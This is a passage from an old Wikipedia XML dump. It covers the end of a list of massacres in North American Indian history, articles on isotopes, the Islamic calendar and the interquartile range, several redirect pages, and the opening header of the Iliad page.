*[[July 3]], [[1778]] - [[Wyoming Valley Massacre]] - Occurred during the [[American Revolutionary War]] - although the great majority of those killed were in legitimate battle, a number of those that had surrendered were killed by natives allied to the [[Loyalist (American Revolution)|Loyalist]] forces.  For [[propoganda]] purposes, the entire battle was claimed as a massacre by [[Patriot (American Revolution)|rebels]].
*[[August 31]], [[1778]] - [http://www.americanrevolution.org/ind3.html Stockbridge Indian Massacre] - a battle of the [[American Revolutionary War]] that was claimed as a massacre by rebels for propoganda purposes.
*[[November 11]], [[1778]] - [[Cherry Valley Massacre]], New York - over 30 settlers killed.
*[[March 8th]], [[1782]] - [[Gnadenhutten massacre]] - in the final stages of the [[American Revolutionary War]], nearly 100 noncombatant Christian [[Lenape|Delaware (Lenape)]] Indians (mostly women and children) are killed one at a time (with a hammer blow to the head) by Pennsylvania militiamen.
*[[January 22nd]], [[1813]] - [[River Raisin Massacre]] - 30-60 Kentucky militia killed after surrendering.
* [[August 30]], [[1813]] - [[Fort Mims Massacre]] - A band of [[Red Sticks]], one of several warring factions of the [[Creek people|Creek]] Nation (see [[Creek Civil War]]), retaliates for his defeat at the [[Battle of Burnt Corn]] by sacking a militia post at [[Fort Mims]], [[Alabama]].  Over four hundred civilians were killed by the Indians, taking some 250 scalps.  This action precipitated the [[Creek War]].
* [[Spring (season)|Spring]] [[1817]] - [[Battle of Claremore Mound]] - [[Cherokee]] Indians wiped out Chief Clermont's band of [[Osage]] Indians at [[Claremore Mound]], [[Indian Territory]]. 
*[[April 22]], [[1818]] - [[Chehaw]] Affair - United States troops attack a non-hostile village during [[Seminole Wars|First Seminole War]], killing an estimated ten to fifty men, women, and children.
*[[May 20]], [[1832]] - [[Indian Creek Massacre]] - American Indians, mainly [[Potawatomi]], killed fifteen men, women and children and kidnapped two girls.
*August 1-2 [[1832]] - [[Black Hawk War]] - about 300 men, women, and children are slaughtered at the [[Battle of Bad Axe]],  in [[Wisconsin]] by white soldiers.
*[[Spring (season)|Spring]] [[1833]] - [[Cutthroat Gap Massacre]] - [[Osage]] Indians wiped out the [[Kiowa]] village of Chief Islandman in [[Indian Territory]].
*[[May 19th]], [[1836]] - [[Fort Parker Massacre]] - 6 men killed by a mixed group of Native Americans in [[Limestone County, Texas]]
*[[October 5]], [[1838]] - [[Killough Massacre]] - 18 members of the Killough extended family, one of the last massacres in Texas
*[[November 29th]] [[1847]] - [[Whitman massacre]] in [[Walla Walla, Washington]]  
*[[August 17th]] [[1854]] - Kaibai Creek, California - 42 [[Winnemem Wintu]] men, women, and children are killed by white settlers
*[[August 17th]] [[1855]] - [[Grattan Massacre]], [[Brule]] [[Sioux]] in [[Nebraska Territory]].
*[[February 26]], [[1860]] - [[Humboldt County, California]] - upwards of 100 Wiyot men, women, and children are slaughtered by settlers.
*[[August]]-[[September]], [[1862]] - As many as 800 settlers killed in [[Sioux Uprising|uprising of Santee Sioux]].
*[[October 24]], [[1862]] - [[Tonkawa Massacre]] - A detachment of American Indian [[Guerrilla warfare#Guerrillas in the American Civil War|irregular]] [[Union (American Civil War)|Union forces]] (mainly [[Kickapoo]], [[Lenape|Delaware]] and [[Shawnee]]), with their [[Caddo]] allies, attempted to destroy the [[Tonkawa]] tribe in [[Indian Territory]]. Of the 390 Tonkawas, only 150 survived.
*[[January 29]], [[1863]] - [[Bear River Massacre]] - upwards of 200 men, women, and children are slaughtered by whites near [[Preston, Idaho]].
*[[April 19]], [[1863]] - Keyesville Massacre - in [[Kern County, California]] - 35 Tehachapi men are killed by whites [http://fp3.antelecom.net/vredenb/history/mclaughlin.htm]
*[[November 29]], [[1864]] - [[Sand Creek Massacre]] - Sand Creek, [[Colorado]] - upwards of 160 [[Cheyenne]] men, women, and children are slaughtered by militiamen 
*[[December 21]], [[1866]] - The Fetterman Massacre- near [[Fort Phil Kearny]], [[Wyoming]] - Lt. Col. [[William J. Fetterman]] and a compliment of 79 US soldiers of [http://www.18inf.org/line.htm#top U.S. 18th Infantry Regiment] and 2 civilians-were sent to relieve a train under attack by [[Oglala]] Sioux led by [[Crazy Horse]] and they were wiped out by an ambush.  (Evidence suggests that, like Custer's Last Stand [see below], this should be more fairly considered a battle than a massacre.)  See [[Red Cloud's War]].
*[[July 2]], [[1867]]- Kidder Massacre-near [[Beaver Creek]] [[Sherman County]], [[Kansas]]. 2nd Lt Kidder; a Sgt; a Corporal; 8 privates of &quot;M&quot; Company 2nd US Cavalry {[[2nd Armored Cavalry Regiment]]} and a Indian Guide were killed by [[Cheyenne]] &amp; [[Sioux]] Indians. Called a &quot;massacre&quot;, it was a battle such as the ''Fetterman'' ambush was labeled a &quot;Massacre&quot;. [http://www.goodlandnet.com/history/kidder.htm].
*[[January 23]], [[1870]] - [[Marias Massacre]] - 173 Piegans, mainly elderly, women, and children, slaughtered by whites
*[[June 25]], [[1876]] - [[Battle of the Little Big Horn]] - About two hundred fifty men of the [[US 7th Cavalry Regiment]], under Lt. Col. [[George A. Custer]], are wiped out in a battle against [[Sioux]] and [[Northern Cheyenne]] Indians.  (Though widely considered a &quot;massacre&quot;, Custer's men died fighting and in any case initiated the battle by attacking a nearby Sioux village.)
*[[January 8th]], [[1879]]-[[Fort Robinson]] Montana - [[Northern Cheyenne]] under [[Dull Knife]] escape from confinment-about 50 survive.
*[[December 29]], [[1890]] - [[Wounded Knee Massacre]] - [[Wounded Knee, South Dakota]] - up to 300 Sioux men, women, and children are killed by US soldiers.

==See also==
*[[Indian Wars]]
*[[Population history of American indigenous peoples]]

[[Category:Crimes]]
[[Category:Military history of the United States]]
[[Category:Murder]]
[[Category:Native American history]]
[[Category:Riots and civil unrest in the United States]]
[[Category:Violent incidents in the United States]]
[[Category:War crimes]]</text>
    </revision>
  </page>
  <page>
    <title>Inherence relation</title>
    <id>14807</id>
    <revision>
      <id>34980694</id>
      <timestamp>2006-01-13T04:19:25Z</timestamp>
      <contributor>
        <username>Rodasmith</username>
        <id>291611</id>
      </contributor>
      <comment>No objections to merge request. Information from here was already at [[Substance theory]], so this redirects now.</comment>
      <text xml:space="preserve">#REDIRECT [[Substance theory]]</text>
    </revision>
  </page>
  <page>
    <title>Interferometer</title>
    <id>14808</id>
    <revision>
      <id>15912341</id>
      <timestamp>2003-01-08T04:43:37Z</timestamp>
      <contributor>
        <username>Stevertigo</username>
        <id>4099</id>
      </contributor>
      <minor />
      <comment>mad redirect to interferometry</comment>
      <text xml:space="preserve">#redirect:[[Interferometry]]</text>
    </revision>
  </page>
  <page>
    <title>Isotope</title>
    <id>14809</id>
    <revision>
      <id>42026128</id>
      <timestamp>2006-03-03T08:09:13Z</timestamp>
      <contributor>
        <username>Jclerman</username>
        <id>442129</id>
      </contributor>
      <comment>rvv vandal warned</comment>
      <text xml:space="preserve">'''Isotopes''' are forms of an [[chemical element|element]] whose [[atomic nucleus|nuclei]] have the same [[atomic number]] - the number of [[proton]]s in the nucleus - but different [[mass number]]s because they contain different numbers of [[neutron]]s.

The word ''isotope'', meaning ''at the same place'', comes from the fact that all isotopes of an element are located at the same place on the [[periodic table]].  

Collectively, the isotopes of the elements form the set of ''nuclides''.  A nuclide is a particular type of atomic nucleus, or more generally an agglomeration of protons and neutrons.  Strictly speaking, it is more correct to say that an element such as [[fluorine]] consists of one stable nuclide rather than that it has one stable isotope.

In scientific [[nomenclature]], isotopes (nuclides) are specified by the name of the particular element by a hyphen and the number of nucleons (protons and neutrons) in the atomic nucleus (e.g., [[helium-3]], [[carbon-12]], [[carbon-14]], [[iodine-131]], [[uranium-238]]). In symbolic form, the number of nucleons is denoted as a superscripted prefix to the [[chemical symbol]] (e.g., &lt;sup&gt;3&lt;/sup&gt;He, &lt;sup&gt;12&lt;/sup&gt;C, &lt;sup&gt;14&lt;/sup&gt;C, &lt;sup&gt;131&lt;/sup&gt;I, &lt;sup&gt;238&lt;/sup&gt;U).
{{TOCright}}

== Variation in properties between isotopes ==
In a neutral atom, the number of [[electron]]s equals the number of protons. Thus, different isotopes of a given element also have the same number of electrons and the same electronic structure. Because the chemical behavior of an atom is largely determined by its electronic structure, isotopes exhibit nearly identical chemical behavior. The primary exception is that, due to their larger masses, heavier isotopes tend to react somewhat more slowly than lighter isotopes of the same element.  (This phenomenon is termed the [[kinetic isotope effect]]).

This &quot;mass effect&quot; is most pronounced for [[protium]] (&lt;sup&gt;1&lt;/sup&gt;H) vis-à-vis [[deuterium]] (&lt;sup&gt;2&lt;/sup&gt;H), because deuterium has twice the mass of protium. For heavier elements the relative mass difference between isotopes is much less, and the mass effect is usually negligible.

Similarly, two [[molecules]] which differ only in the isotopic nature of their atoms (''[[isotopologue]]s'') will have nearly identical electronic structure, and therefore have similar physical and chemical properties.  The [[molecular vibration|vibrational mode]]s of a molecule are determined by its shape and by the masses of its constituent atoms.  Consequently, isotopologues will have different sets of vibrational modes.  Since vibrational modes allow a molecule to absorb [[photon]]s of corresponding energies, isotopologues have different optical properties in the [[infrared]] range.

Although isotopes exhibit nearly identical electronic and chemical behavior, their nuclear behavior varies dramatically.  Atomic nuclei consist of protons and neutrons bound together by the [[strong nuclear force]].  Because protons are positively charged, they repel each other.  Neutrons, which are electrically neutral, allow some separation between the positively charged protons, reducing the electrostatic repulsion and stabilizing the nucleus.  For this reason neutrons are necessary for two or more protons to be bound into a nucleus.  As the number of protons increases, additional neutrons are needed to form a stable nucleus; for example, although the neutron/proton ratio of &lt;sup&gt;3&lt;/sup&gt;He is 1/2, the neutron/proton ratio of &lt;sup&gt;238&lt;/sup&gt;U is greater than 3/2.  If too many neutrons or too few neutrons are present, the nucleus becomes unstable and subject to [[nuclear decay]].

== Occurrence in nature ==
Several isotopes of each element can be found in nature.  The [[relative abundance]] of an isotope is strongly correlated with its tendency toward [[nuclear decay]]; short-lived nuclides quickly decay away, while their long-lived counterparts endure.  However, this does not mean that short-lived species disappear entirely; many are continually produced through the decay of longer-lived nuclides.  The tabulated [[atomic mass]]es of elements are averages that account for the presence of multiple isotopes with different masses.

According to generally accepted [[cosmology]], virtually all nuclides other than isotopes of [[hydrogen]] and [[helium]] were built in [[star]]s and [[supernova]]e.  Their respective abundances here result from the quantities formed by these processes, their spread through the [[galaxy]], and their rates of decay.  After the initial coalescence of the [[solar system]], isotopes were redistributed according to mass (see also [[Solar system#Origin and evolution of the Solar System|Origin of the solar system]]).  The isotopic composition of elements is different on different planets, making it possible to determine the origin of [[meteorite]]s.
&lt;!--Someone with some knowledge on the subject could also add more about creative processes in the universe'''--&gt;

== Applications of isotopes ==

Several applications exist that capitalize on properties of the various isotopes of a given element. 

=== Use of chemical properties ===

* One of the most common applications is [[isotopic labeling]], the use of unusual isotopes as tracers or markers in chemical reactions.  Normally, atoms of a given element are indistinguishable from each other. However, by using isotopes of different masses, they can be distinguished by [[mass spectrometry]] or [[infrared spectroscopy]] (see &quot;Properties&quot;).  If radioactive isotopes are used, they can be detected by the radiation they emit (this is [[radioisotopic labelling]]).

* A technique similar to radioisotopic labelling is [[radiometric dating]] (most famously [[radiocarbon dating]]).  It can be used to study chemical processes that the experimenter does not witness, by using naturally-occurring isotopic tracers.

* Isotopic substitution can be used to determine the mechanism of a reaction via the [[kinetic isotope effect]].

=== Use of nuclear properties ===

* Several forms of spectroscopy rely on the unique nuclear properties of specific isotopes. For example, [[nuclear magnetic resonance]] (NMR) spectroscopy can be used only for isotopes with a nonzero nuclear spin. The most common isotopes used with NMR spectroscopy are &lt;sup&gt;1&lt;/sup&gt;H, &lt;sup&gt;2&lt;/sup&gt;D,&lt;sup&gt;15&lt;/sup&gt;N, &lt;sup&gt;13&lt;/sup&gt;C, and &lt;sup&gt;31&lt;/sup&gt;P. 

* [[Mossbauer spectroscopy|Mössbauer spectroscopy]] also relies on the nuclear transitions of specific isotopes, such as &lt;sup&gt;57&lt;/sup&gt;Fe.

* [[Radionuclide]]s also have important uses. [[Nuclear power]] and [[nuclear weapon]]s development require relatively large quantities of specific isotopes. The process of [[isotope separation]] represents a significant technological challenge.

==See also==
*[[Isotope table (divided)]] - table of all known isotopes
*[[Isotope table (complete)]]
*[[Table of nuclides]]
*[[List of particles]]
* Isotopes are nuclides having the same number of protons; compare:
** [[Isotone]]s are nuclides having   the same number of neutrons.
** [[Isobar]]s  are nuclides having  the same mass number, i.e. sum of protons plus neutrons.
** [[Nuclear_isomer|Nuclear isomer]]s  are different excited states of the same type of nucleus. A transition from one isomer to another is accompanied by emission or absorption of a [[gamma ray]], or the process of [[internal conversion]]. (Not to be confused with chemical [[isomer]]s.)

==External links==
*[http://physics.nist.gov/cgi-bin/Compositions/stand_alone.pl?ele=&amp;ascii=html&amp;isotype=some Atomic weights of all isotopes]
*[http://atom.kaeri.re.kr/ Atomgewichte, Zerfallsenergieen und Halbwärtszeiten aller Isotope]
*[http://ie.lbl.gov/education/isotopes.htm Exploring the Table of the Isotopes] at the [[LBNL]]

&lt;!--Categories--&gt;

&lt;!--Interwiki--&gt;

[[Category:Isotopes|*]]
[[Category:Nuclear chemistry]]
[[Category:Nuclear physics]]

[[af:Isotoop]]
[[ar:نظائر عناصر كيميائية]]
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    </revision>
  </page>
  <page>
    <title>Islamic calendar</title>
    <id>14810</id>
    <revision>
      <id>40272178</id>
      <timestamp>2006-02-19T11:38:05Z</timestamp>
      <contributor>
        <username>Margana</username>
        <id>58148</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/Kerbii|Kerbii]] to last version by PFHLai</comment>
      <text xml:space="preserve">{{islam}}
The '''Islamic calendar''' or '''Muslim calendar''' (also called &quot;'''Hijri calendar'''&quot;, [[Arabic language|Arabic]] &amp;#1575;&amp;#1604;&amp;#1578;&amp;#1602;&amp;#1608;&amp;#1610;&amp;#1605; &amp;#1575;&amp;#1604;&amp;#1607;&amp;#1580;&amp;#1585;&amp;#1610;) is the [[calendar]] used to date events in many predominantly [[Muslim]] countries, and used by Muslims everywhere to determine the proper day on which to celebrate Islamic holy days. It is a [[lunar calendar]] having 12 lunar months in a year of about 354 days. Because this lunar year is about 11 days shorter than the solar year, Islamic holy days, although celebrated on fixed dates in their own calendar, usually shift 11 days earlier each successive solar year, such as a year of the [[Gregorian calendar]]. Islamic years are also called ''Hijra years'' because the first year was the year during which the [[Hijra (Islam)|Hijra]] occurred&amp;mdash; [[Muhammad]]'s emigration from [[Mecca]] to [[Medina]]. Thus each numbered year is designated either H or AH, the latter being the initials of the [[Latin]] ''anno Hegirae'' (in the year of the Hijra).

==Pre-Islamic calendar==
The predecessor to the Islamic calendar was a [[lunisolar calendar]] which used lunar months, but was also synchronized with the seasons by the insertion of an additional, [[Intercalation|intercalary month]], when required. Whether the intercalary month (Nasi) was added in the spring like that of the [[Hebrew calendar]] or in autumn is debatable. It is assumed that the intercalary month was added between the twelfth month (the month of the pre-Islamic [[Hajj]]) and the first month ([[Muharram]]) of this pre-Islamic year. The two Rabi' months denote grazing and the ''modern'' Meccan rainy season (only slightly less arid than normal), which would promote the growth of grasses for grazing, occurs during autumn. These imply a pre-Islamic year beginning near the [[autumnal equinox]]. However, the rainy season after which these months are named may have been different when the names originated (before Muhammad's time) or the calendar may have been imported from another region which did have such a rainy season. On the other hand, Muhammad forbade the intercalary month (released the calendar from the seasons) near the end of his life, which implies a pre-Islamic year beginning near the [[vernal equinox]] because that is when the modern lunar year began during his last year.

==Numbering the years==
Abraha, a governor of [[Yemen]], then a province of the [[Christianity|Christian]] [[Kingdom of Aksum]] (modern [[Ethiopia]]), attempted to destroy the [[Kaaba]] with an army which included an [[elephant]] (possibly several). Although the raid was unsuccessful, the elephant so impressed the Meccans that that year became known as the ''[[Year of the Elephant]]'', which is also the year that Muhammad was born. (See [[sura]]t [[al-Fil]].) Although most Muslims equate it with the [[Western world|Western]] year 570, a minority equate it with 571. Later years were numbered from the ''Year of the Elephant'', whether for the years of the pre-Islamic lunisolar calendar, the lunisolar calendar used by Muhammad before he forbade the intercalary month, or the first few years of the lunar calendar thus created. In 638 (AH 17), the second Caliph [[Umar]] began numbering the years of the Islamic calendar from the year of the Hijra, which was postdated AH&amp;nbsp;1. The first day of the first month (1&amp;nbsp;Muharram) of that proleptic Islamic year, that is, after the removal of all intercalary months between the Hijra and Muhammad's prohibition of them nine years later, corresponded to [[July 16]], [[622]] (the actual emigration took place in September). The first surviving attested use of the Hijri calendar is on a [[papyrus]] from [[Egypt]] in 22 AH, [[PERF 558]].

==Months==
Each [[month]] has either 29 or 30 days, but usually in no discernible order. Traditionally, the first day of each month was the day (beginning at sunset) of the first sighting of the lunar crescent (the ''hilal'') shortly after sunset. If the hilal was not observed immediately after the 29th day of a month, either because clouds blocked its view or because the western sky was still too bright when the moon set, then the day that began at that sunset was the 30th. Such a sighting had to be made by one or more trustworthy men testifying before a committee of Muslim leaders. Determining the most likely day that the hilal could be observed was a motivation for Muslim interest in [[astronomy]], which put Islam in the forefront of that science for many centuries. This traditional practice is still followed in a few parts of the world, like [[Pakistan]] and [[Jordan]]. However, in most Muslim countries astronomical rules are followed which allow the calendar to be determined in advance, which is not the case using the traditional method. [[Malaysia]], [[Indonesia]], and a few others begin each month at sunset on the first day that the moon sets after the sun (moonset after sunset).  In [[Egypt]], the month begins at sunset on the first day that the moon sets at least five minutes after the sun.

The official [[Umm al-Qura]] calendar of [[Saudi Arabia]] used a substantially different astronomical method until recent years [http://www.jas.org.jo/sau.html]. Before AH 1420 (before [[April 18]], [[1999]]), if the moon's age at sunset in [[Riyad]] was at least 12 hours, then the day ''ending'' at that sunset was the first day of the month. This often caused the [[Saudi]]s to celebrate holy days one or even two days before other predominantly Muslim populated countries, including the dates for the [[Hajj]], which can only be dated using Saudi dates because it is performed in Mecca. During one memorable year during the AH 1380s (the 1970s), different Muslim countries ended the fast of Ramadan on each of four successive days. The celebrations became more uniform beginning in AH 1420. For AH 1420-22, if moonset occurred after sunset at Mecca, then the day beginning at that sunset was the first day of a Saudi month, essentially the same rule used by Malaysia, Indonesia, and others (except for the location from which the hilal was observed). Since the beginning of AH 1423 ([[March 16]], [[2002]]), the rule has been clarified a little by requiring the geocentric conjunction of the sun and moon to occur before sunset, in addition to requiring moonset to occur after sunset at Mecca. This ensures that the moon has moved past the sun by sunset, even though the sky may still be too bright immediately before moonset to actually see the crescent. Strictly speaking, the [[Umm al-Qura]] calendar is intended for civil purposes only. Their makers are well aware of the fact that the first visual sighting of the lunar crescent (hilāl) can occur up to two days after the date calculated in the [[Umm al-Qura]] calendar. Since AH 1419 (1998/99) several official hilāl sighting committees have been set up by the government of [[Saudi Arabia]] to determine the first visual sighting of the lunar crescent at the begin of each lunar month. Nevertheless, the religious authorities of [[Saudi Arabia]] also allow the testimony of less experienced observers and thus often announces the sighting of the lunar crescent on a date when none of the official committees could see the lunar crescent. In nearly all of these cases, a retrospective analysis indicates that these extremely early reports of the lunar crescent are impossible and are based on false sightings.

The moon sets progressively later than the sun for locations further west, thus western Muslim countries are more likely to celebrate some holy day one day earlier than an eastern Muslim country.

[[Microsoft]] uses the &quot;[[Kuwaiti algorithm]]&quot; to convert Gregorian dates to the Islamic ones. It is based on statistical analysis of historical data from Kuwait.

There exists a variation of the Islamic calendar known as the [[tabular Islamic calendar]] in which months are worked out by arithmetic rules rather than by observation or astronomical calculation. It has a 30-year cycle in with 11 years are leap years with 355 days instead of 354 days. In the long term, it is accurate to one day in about 2500 years. It also deviates up to about 1 or 2 days in the short term.

==Forbidding intercalary months==
In the ninth year after the Hijra, Muslims believe God forbade the [[intercalation|intercalary]] month. This is expressed in the [[Qur'an]] (9:36-37):

&lt;blockquote&gt;
The number of months with Allah has been twelve months by Allah's ordinance since the day He created the heavens and the earth. Of these four are known as sacred; That is the straight usage, so do not wrong yourselves therein, and fight the Pagans.
&lt;/blockquote&gt;

&lt;blockquote&gt;
Verily the transposing (of a prohibited month) is an addition to Unbelief: The Unbelievers are led to wrong thereby: for they make it lawful one year, and forbidden another year, of months forbidden by Allah and make such forbidden ones lawful. The evil of their course seems pleasing to them. But Allah guideth not those who reject Faith.
&lt;/blockquote&gt;

This prohibition was repeated by Muhammad during his last sermon on [[Mount Arafah|Mount Arafat]] which was delivered during his farewell pilgrimage to Mecca on 9 Dhu al-Hijja AH 10 (this paragraph is often deleted from the sermon by its modern editors as now unimportant):

&lt;blockquote&gt;
O People, the unbelievers indulge in tampering with the calendar in order to make permissible that which Allah forbade, and to forbid that which Allah has made permissible. With Allah the months are twelve in number. Four of them are holy, three of these are successive and one occurs singly between the months of Jumada and Shaban.
&lt;/blockquote&gt;

The three successive holy months are Dhu al-Qada, Dhu al-Hijja, and Muharram, thus excluding an intercalary month before Muharram. The single holy month is Rajab. 

==Names of the Islamic months==
{{Muslimmonths}}
The Islamic months are named as follows:
# [[Muharram|Muharram ul Haram]] (or shortened to Muharram) &amp;#1605;&amp;#1581;&amp;#1585;&amp;#1617;&amp;#1605;
# [[Safar]]  &amp;#1589;&amp;#1601;&amp;#1585;
# [[Rabi`-ul-Awwal]] (Rabi' I) &amp;#1585;&amp;#1576;&amp;#1610;&amp;#1593; &amp;#1575;&amp;#1604;&amp;#1571;&amp;#1608;&amp;#1604;
# [[Rabi`-ul-Akhir]] (or Rabi` al-THaany) (Rabi' II) &amp;#1585;&amp;#1576;&amp;#1610;&amp;#1593; &amp;#1575;&amp;#1604;&amp;#1570;&amp;#1582;&amp;#1585; &amp;#1571;&amp;#1608; &amp;#1585;&amp;#1576;&amp;#1610;&amp;#1593; &amp;#1575;&amp;#1604;&amp;#1579;&amp;#1575;&amp;#1606;&amp;#1610;
# [[Jumaada-ul-Awwal]] (Jumaada I) &amp;#1580;&amp;#1605;&amp;#1575;&amp;#1583;&amp;#1609; &amp;#1575;&amp;#1604;&amp;#1571;&amp;#1608;&amp;#1604;
# [[Jumaada-ul-Akhir]] (or Jumaada al-THaany) (Jumaada II) &amp;#1580;&amp;#1605;&amp;#1575;&amp;#1583;&amp;#1609; &amp;#1575;&amp;#1604;&amp;#1570;&amp;#1582;&amp;#1585; &amp;#1571;&amp;#1608; &amp;#1580;&amp;#1605;&amp;#1575;&amp;#1583;&amp;#1609; &amp;#1575;&amp;#1604;&amp;#1579;&amp;#1575;&amp;#1606;&amp;#1610;
# [[Rajab]] &amp;#1585;&amp;#1580;&amp;#1576;
# [[Sha'aban]]  &amp;#1588;&amp;#1593;&amp;#1576;&amp;#1575;&amp;#1606;
# [[Ramadan (calendar month)|Ramadan]] &amp;#1585;&amp;#1605;&amp;#1590;&amp;#1575;&amp;#1606;
# [[Shawwal]] &amp;#1588;&amp;#1608;&amp;#1617;&amp;#1575;&amp;#1604;
# [[Zil Khad]] &amp;#1584;&amp;#1608; &amp;#1575;&amp;#1604;&amp;#1602;&amp;#1593;&amp;#1583;&amp;#1577; (or Thw al-Qi`dah)
# [[Zil Hijjah]] &amp;#1584;&amp;#1608; &amp;#1575;&amp;#1604;&amp;#1581;&amp;#1580;&amp;#1577; (or Thw al-Hijjah)

Of all the months in the Islamic calendar, [[Ramadan (calendar month)|Ramadan]] is the most sacred. Between dawn and sunset, [[Muslim]]s abstain from eating, drinking, and sexual intercourse in accordance with the [[Ramadan (religious observances)|Ramadan holiday]] that lasts throughout the entire month of the same name.

==Names of the days of the week==
The Islamic week is derived from the Jewish week, as was the medieval Christian week, all of which have numbered weekdays in common. All three coincide with the Sunday through Saturday planetary week. The Islamic and Jewish weekdays begin at sunset, whereas the medieval Christian and planetary weekdays begin at the following midnight. Muslims gather for worship at a [[Masjid]] or  [[mosque]] at noon on &quot;gathering day&quot;, which corresponds to the sixth day of the Jewish and medieval Christian weeks, and to Friday of the planetary week.

# yaum as-sabt &amp;#1610;&amp;#1608;&amp;#1605; &amp;#1575;&amp;#1604;&amp;#1587;&amp;#1617;&amp;#1614;&amp;#1576;&amp;#1618;&amp;#1578; (sabbath day)
# yaum al-ahad &amp;#1610;&amp;#1608;&amp;#1605; &amp;#1575;&amp;#1604;&amp;#1571;&amp;#1581;&amp;#1583; (first day)
# yaum al-ithnayn &amp;#1610;&amp;#1608;&amp;#1605; &amp;#1575;&amp;#1604;&amp;#1573;&amp;#1579;&amp;#1606;&amp;#1610;&amp;#1606; (second day)
# yaum ath-thalatha' &amp;#1610;&amp;#1608;&amp;#1605; &amp;#1575;&amp;#1604;&amp;#1579;&amp;#1617;&amp;#1615;&amp;#1604;&amp;#1614;&amp;#1575;&amp;#1579;&amp;#1575;&amp;#1569; (third day)
# yaum al-arba`a' &amp;#1610;&amp;#1608;&amp;#1605; &amp;#1575;&amp;#1604;&amp;#1571;&amp;#1614;&amp;#1585;&amp;#1618;&amp;#1576;&amp;#1593;&amp;#1575;&amp;#1569; (fourth day)
# yaum al-khamis &amp;#1610;&amp;#1608;&amp;#1605; &amp;#1575;&amp;#1604;&amp;#1582;&amp;#1614;&amp;#1605;&amp;#1616;&amp;#1610;&amp;#1587; (fifth day)
# yaum al-jum`a &amp;#1610;&amp;#1608;&amp;#1605; &amp;#1575;&amp;#1604;&amp;#1580;&amp;#1615;&amp;#1605;&amp;#1618;&amp;#1593;&amp;#1614;&amp;#1577; (gathering day)

==Important dates==
Important dates in the Islamic (Hijri) year are: 
* 1 Muharram ([[Islamic New Year]])
* 10 Muharram ([[Day of Ashurah]], a day of mourning for [[Shia]] Muslims and the flight of Moses and the Israelites from Egypt and Pharo's oppression to the Blessed Land for Sunni Muslims)
* 27 Rajab ([[Isra and Miraj]])
* 15 Shabaan ([[Shab-e-Br'aat]])
* 1 Ramadan (first day of fasting)
* 17 Ramadan (Nuzul Al-Qur'an) ([[Malaysia]] only; often 27 Ramadan elsewhere)
* 19-22 Ramadan ([[Shia]] Muslims mourn the death of [[Imam]] [[Ali]]).
* Last 10 days of Ramadhan which include [[Laylat al-Qadr]]
* 1 Shawwal ([[Eid ul-Fitr]])
* 8-10 Thw al-Hijjah (the [[Hajj]] to [[Makkah]])
* 10 Thw al-Hijjah ([[Eid ul-Adha]]).

==Current correlations==
For a very rough conversion, multiply the Islamic year number by 0.97, and then add 622 to get the Gregorian year number.

The Islamic calendar year of 1429 will occur entirely within the Gregorian calendar year of 2008. Such years occur once every 33 or 34 Islamic years (32 or 33 Gregorian years).
More are listed here:
{| border=&quot;1&quot; style=&quot;text-align: center&quot; cellpadding=&quot;2&quot;
|colspan=&quot;3&quot;|'''Islamic year within Gregorian year'''
|-
|''Islamic'' ||  ''Gregorian'' || ''Difference''
|-
|1228 || 1813 || 585
|-
|1261 || 1845 || 584
|-
|1295 || 1878 || 583
|-
|1329 || 1911 || 582
|-
|1362 || 1943 || 581
|-
|1396 || 1976 || 580
|-
|1429 || 2008 || 579
|-
|1463 || 2041 || 578
|-
|1496 || 2073 || 577
|-
|1530 || 2106 || 576
|-
|1564 || 2139 || 575
|}

==External links==
*[http://www.phys.uu.nl/~vgent/islam/islamyear_en.htm Islamic-Western Calendar Converter (Based on the Arithmetical or Tabular Calendar)]
*[http://www.phys.uu.nl/~vgent/islam/mecca/ummalqura.htm The Umm al-Qura Calendar of Saudi Arabia]
*[http://www.eretzyisroel.org/~jkatz/The%20Islamic%20Jewish%20Calendar.pdf Correspondence between Hebrew and Islamic calendars, months and holidays (pdf)]

[[Category:Islam]]
[[Category:Specific calendars]]

[[ar:تقويم هجري]]
[[ca:Calendari musulmà]]
[[da:Islamisk kalender]]
[[de:Islamische Zeitrechnung]]
[[eo:Islama kalendaro]]
[[es:Calendario musulmán]]
[[et:Islami kalender]]
[[fi:Islamilainen kalenteri]]
[[fr:Calendrier musulman]]
[[gl:Calendario musulmán]]
[[he:הלוח המוסלמי]]
[[id:Kalender Hijriyah]]
[[io:Islama kalendario]]
[[ja:ヒジュラ暦]]
[[ms:Takwim Hijrah]]
[[nl:Islamitische kalender]]
[[nn:Det muslimske året]]
[[pl:Kalendarz muzułmański]]
[[pt:Calendário islâmico]]
[[ru:Исламский календарь]]
[[sl:Muslimanski koledar]]
[[sv:Muslimska kalendern]]
[[th:ปฏิทินฮิจญ์เราะหฺ]]
[[tr:Hicri takvim]]
[[tt:Íslam täqwime]]
[[zh:伊斯兰历]]</text>
    </revision>
  </page>
  <page>
    <title>Isaac Disraeli</title>
    <id>14811</id>
    <revision>
      <id>15912344</id>
      <timestamp>2002-08-09T18:00:22Z</timestamp>
      <contributor>
        <username>Andre Engels</username>
        <id>300</id>
      </contributor>
      <minor />
      <comment>redirect</comment>
      <text xml:space="preserve">#REDIRECT [[Isaac D'Israeli]]</text>
    </revision>
  </page>
  <page>
    <title>Interquartile range</title>
    <id>14812</id>
    <revision>
      <id>35609429</id>
      <timestamp>2006-01-18T00:04:59Z</timestamp>
      <contributor>
        <ip>213.105.7.51</ip>
      </contributor>
      <comment>/* Example */</comment>
      <text xml:space="preserve">In [[descriptive statistics]], the '''interquartile range (IQR)''' is the difference between the third and first [[quartile]]s and is a measure of [[statistical dispersion]]. The interquartile range is a more stable statistic than the [[range (statistics)|range]], and is often preferred to that statistic.

Since 25% of the data are less than or equal to the first quartile and 25% are greater than or equal to the third quartile, the difference is the length of an interval that includes about half of the data. This difference should be measured in the same units as the data.

==Example==

&lt;pre&gt;
     i    x[i]
     1    102
     2    104
     3    105 ---- the first quartile, Q1 = 105 
     4    106
     5    108
     6    109 ---- the second quartile, Q2 or median = 109
     7    110
     8    112
     9    115 ---- the third quartile, Q3 = 115
    10    115
    11    118
&lt;/pre&gt;

From this table, the '''interquartile range''' is 115 - 105 = 10.

[[Category:Statistics]]
[[Category:Socioeconomics]]

[[nl:Interkwartielafstand]]</text>
    </revision>
  </page>
  <page>
    <title>Iliad</title>
    <id>14813</id>
    <revision>
      <id>41571407</id>
      <timestamp>2006-02-28T05:38:37Z</timestamp>
      <contributor>
        <username>Josiah Rowe</username>
        <id>210455</id>
      </contributor>
      <minor />
      <comment>/* The relationship of Achilles and Patroclus */ remove self-reflexive link</comment>
